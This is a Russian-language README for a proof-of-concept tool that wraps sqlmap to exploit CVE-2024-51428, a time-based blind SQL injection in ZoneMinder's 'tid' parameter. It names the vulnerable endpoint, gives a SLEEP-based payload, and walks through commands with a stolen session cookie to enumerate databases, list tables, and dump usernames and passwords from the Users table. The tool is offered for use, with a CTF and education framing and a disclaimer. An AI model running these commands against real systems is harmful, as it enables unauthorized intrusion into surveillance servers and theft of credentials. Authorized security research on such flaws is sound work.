CVE-2024-51428 - PoC слепой SQL-инъекции в ZoneMinder

Python-обёртка для sqlmap, предназначенная для эксплуатации CVE-2024-51428 в ZoneMinder.
Этот инструмент автоматизирует обнаружение и эксплуатацию уязвимости Blind SQL Injection, при этом вывод остаётся чистым и сосредоточенным на полезных данных.

Скрипт скрывает логи sqlmap и отображает только релевантную информацию, такую как:

• Обнаруженная точка инъекции
• Имена баз данных
• Таблицы
• Извлечённые учётные данные или конфиденциальная информация

Это делает инструмент идеальным для CTF-сред, демонстраций и тестирования безопасности.

Обзор уязвимости

CVE: CVE-2024-51428
Тип: Blind SQL Injection
Уязвимое ПО: ZoneMinder
Вектор атаки: HTTP GET параметр
Параметр: tid

Уязвимость существует в следующей конечной точке:

/zm/index.php?view=request&request=event&action=removetag&tid=

Параметр tid недостаточно очищается перед использованием в запросе к базе данных, что позволяет злоумышленникам внедрять SQL-запросы.

Используемый метод эксплуатации — time-based blind SQL injection.

Пример полезной нагрузки, обнаруженной sqlmap:

tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)

Эта полезная нагрузка заставляет базу данных засыпать, если запрос выполняется успешно, что подтверждает наличие SQL-инъекции.

Возможности

• Автоматическое обнаружение Blind SQL Injection
• Перечисление баз данных
• Перечисление таблиц
• Дамп таблиц
• Фильтрация столбцов
• Фильтрация строк
• Чистый вывод (логи sqlmap скрыты)
• Разработан для CTF и лабораторий пентестинга

Требования

• Python 3
• sqlmap

Установите sqlmap при необходимости:

sudo apt install sqlmap

Использование

Базовый синтаксис:

python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'

С помощью этой команды мы проверяем, уязвима ли цель

Пример:

python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'

Получение необходимого Cookie

Эксплоит требует действующей cookie сессии ZoneMinder.

Шаги:

1. Откройте цель в браузере
2. Откройте инструменты разработчика
3. Перейдите в:

Application → Cookies

4. Найдите cookie с именем:

ZMSESSID

5. Скопируйте её значение и используйте с флагом -c

Пример:

-c '151fvdqmjkhnkfat7l5epgmd22'

Проверка уязвимости цели

python3 poc.py --url http://target.htb -c 'COOKIE'

Пример вывода:

[*] Checking vulnerability...

Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))

[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION

Перечисление баз данных

python3 poc.py --url http://target.htb -c 'COOKIE' -d

Пример вывода:

available databases [3]:
information_schema
mysql
zm

Перечисление таблиц

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm

Пример вывода:

Database: zm

Users
Events
Monitors
Storage

Дамп таблицы

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users

Дамп конкретного столбца

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username

Пример:

+----------+
| Username |
+----------+
| admin    |
| viewer   |
+----------+

Фильтрация строк (условие WHERE)

Вы можете фильтровать строки с помощью:

-ff <COLUMN> <VALUE>

Пример:

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark

Эквивалентный SQL:

WHERE Username='mark'

Дамп пароля для конкретного пользователя

Пример:

python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark

Внутренняя команда sqlmap:

sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump

Как работает инструмент

Скрипт действует как обёртка для sqlmap.

Выполняемые внутренние шаги:

1. Построение уязвимой конечной точки

/zm/index.php?view=request&request=event&action=removetag&tid=1

2. Передача cookie аутентификации в sqlmap
3. Запуск sqlmap с оптимизированными параметрами:

--threads=10
--technique=T
--batch

4. Разбор вывода sqlmap в реальном времени
5. Фильтрация логов и отображение только:

• информации об инъекции
• баз данных
• таблиц
• извлечённых данных

Назначение

Этот инструмент создан для:

• Соревнований Capture The Flag
• Исследований в области безопасности
• Образовательных целей
• Лабораторий пентестинга

Отказ от ответственности

Этот проект предоставлен только для образовательных целей и авторизованного тестирования безопасности.

Автор не несёт ответственности за любое неправомерное использование данного инструмента.

Всегда получайте соответствующее разрешение перед тестированием любой системы.

Автор

Security Research / CTF tooling